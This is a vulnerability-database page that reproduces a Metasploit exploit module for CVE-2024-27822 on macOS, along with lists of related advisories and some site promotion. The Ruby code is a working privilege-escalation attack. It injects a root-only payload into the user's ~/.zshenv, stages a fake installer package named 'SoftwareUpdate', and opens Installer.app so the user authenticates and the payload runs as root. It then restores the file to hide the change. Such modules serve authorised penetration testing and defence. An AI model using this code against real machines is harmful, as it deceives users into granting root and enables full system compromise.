Lucene search
K

macOS PackageKit ZSH Environment Privilege Escalation

🗓️ 06 Jul 2026 19:05:11Reported by Mykola Grymalyuk, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 58 Views

Exploits CVE-2024-27822 in macOS PackageKit to run as root via zshenv during PKG install.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2024-27822
4 Jun 202404:17
circl
CNNVD
Apple macOS Sonoma 安全漏洞
13 May 202400:00
cnnvd
CVE
CVE-2024-27822
13 May 202423:00
cve
Cvelist
CVE-2024-27822
13 May 202423:00
cvelist
EUVD
EUVD-2024-25015
3 Oct 202520:07
euvd
Tenable Nessus
macOS 14.x < 14.5 Multiple Vulnerabilities (120903)
16 Jan 202500:00
nessus
Tenable Nessus
macOS 14.x < 14.5 Multiple Vulnerabilities (HT214106)
13 May 202400:00
nessus
NCSC
Vulnerabilities fixed in Apple macOS
15 May 202411:18
ncsc
NVD
CVE-2024-27822
14 May 202415:13
nvd
OpenVAS
Apple MacOSX Security Update (HT214106)
14 May 202400:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking # user interaction required

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'macOS PackageKit ZSH Environment Privilege Escalation',
        'Description' => %q{
          This module exploits CVE-2024-27822, a vulnerability in macOS
          PackageKit.framework where PKG installer scripts using a ZSH shebang
          (#!/bin/zsh) are executed as root while inheriting the installing user's
          environment. This causes ZSH to load the user's ~/.zshenv with root
          privileges before the installer script body runs.

          The module injects a payload into ~/.zshenv that only fires when EUID is 0,
          uploads a minimal PKG (from data/exploits/CVE-2024-27822/template.pkg) whose
          install script uses a #!/bin/zsh shebang, and opens it with Installer.app.
          When the user approves the installation dialog and authenticates, PackageKit
          runs the install script as root. ZSH sources ~/.zshenv before the script body
          executes, so the payload fires with root privileges. The original ~/.zshenv
          content is restored immediately after the payload runs.

          Affected: macOS 14.4 and earlier, 13.6.6 and earlier, 12.7.4 and earlier,
          and all macOS 11 and older releases.
          Fixed in: macOS 14.5, 13.6.7, 12.7.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mykola Grymalyuk', # Discovery and research
          'h00die' # Metasploit module
        ],
        'Platform' => ['osx', 'unix'],
        'Arch' => ARCH_CMD,
        'SessionTypes' => ['shell', 'meterpreter'],
        'Targets' => [['macOS', {}]],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Passive' => true,
        'Stance' => Msf::Exploit::Stance::Passive,
        'References' => [
          ['CVE', '2024-27822'],
          ['URL', 'https://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_004_UNIX_SHELL_CONFIGURATION_MODIFICATION]
        ],
        'DefaultOptions' => {
          'WfsDelay' => 1_800, # 30min
          'PrependFork' => true
        },
        'DisclosureDate' => '2024-06-03',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('WritableDir', [true, 'Writable directory for staging files', '/tmp']),
      OptString.new('PKG_NAME', [false, 'Display name for the fake installer PKG', 'SoftwareUpdate'])
    ])
  end

  def check
    unless command_exists?('zsh')
      return CheckCode::Safe("zsh isn't available on this system")
    end

    version = Rex::Version.new(get_system_version)

    case version
    when Rex::Version.new('14.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 14.5)")
    when Rex::Version.new('14.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    when Rex::Version.new('13.6.7').. then CheckCode::Safe("macOS #{version} is patched (fixed in 13.6.7)")
    when Rex::Version.new('13.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    when Rex::Version.new('12.7.5').. then CheckCode::Safe("macOS #{version} is patched (fixed in 12.7.5)")
    when Rex::Version.new('12.0').. then CheckCode::Appears("macOS #{version} is vulnerable")
    else
      CheckCode::Appears("macOS #{version} (11 and older) is vulnerable")
    end
  end

  def exploit
    fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
    fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable") unless writable?(datastore['WritableDir'])

    home_dir = create_process('printenv', args: ['HOME']).strip
    fail_with(Failure::BadConfig, 'Unable to determine home directory') if home_dir.blank?
    zshenv_path = "#{home_dir}/.zshenv"

    # Preserve original .zshenv so we can restore it after root execution
    original_zshenv = file?(zshenv_path) ? read_file(zshenv_path) : ''
    original_b64 = Rex::Text.encode_base64(original_zshenv).gsub("\n", '')

    # The injection block only runs when EUID==0 (PackageKit root context).
    # It restores .zshenv first, then runs the payload.
    injection = <<~ZSHENV
      if [ "$EUID" = "0" ]; then
        echo '#{original_b64}' | base64 -d > '#{zshenv_path}'
        #{payload.encoded}
      fi
    ZSHENV

    print_status("Injecting payload into #{zshenv_path}")
    write_file(zshenv_path, injection + original_zshenv)
    # Fallback cleanup if the PKG is never installed
    register_file_for_cleanup(zshenv_path)

    pkg_name = (datastore['PKG_NAME'].blank? ? Rex::Text.rand_text_alphanumeric(8..12) : datastore['PKG_NAME']).gsub(' ', '_')
    pkg_path = "#{datastore['WritableDir']}/#{pkg_name}.pkg"

    print_status("Uploading PKG: #{pkg_path}")
    write_file(pkg_path, load_template_pkg)
    fail_with(Failure::NotVulnerable, "Failed to write PKG to #{pkg_path}") unless file?(pkg_path)
    register_file_for_cleanup(pkg_path)
    print_good("PKG uploaded: #{pkg_path}")

    print_warning('Opening Installer.app - the user must click Install and authenticate.')
    create_process('open', args: [pkg_path])

    # taken from multi-handler
    stime = Time.now.to_f
    timeout = datastore['WfsDelay'].to_i
    loop do
      break if session_created?
      break if timeout > 0 && (stime + timeout < Time.now.to_f)

      Rex::ThreadSafe.sleep(1)
    end
  end

  private

  def load_template_pkg
    template_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-27822', 'template.pkg')
    unless File.exist?(template_path)
      fail_with(Failure::BadConfig,
                "Template PKG not found at #{template_path}. " \
                'Run data/exploits/CVE-2024-27822/generate_template.sh on macOS to regenerate it.')
    end
    File.binread(template_path)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
7.2High risk
Vulners AI Score7.2
CVSS 3.17.4 - 7.8
EPSS0.01312
SSVC
58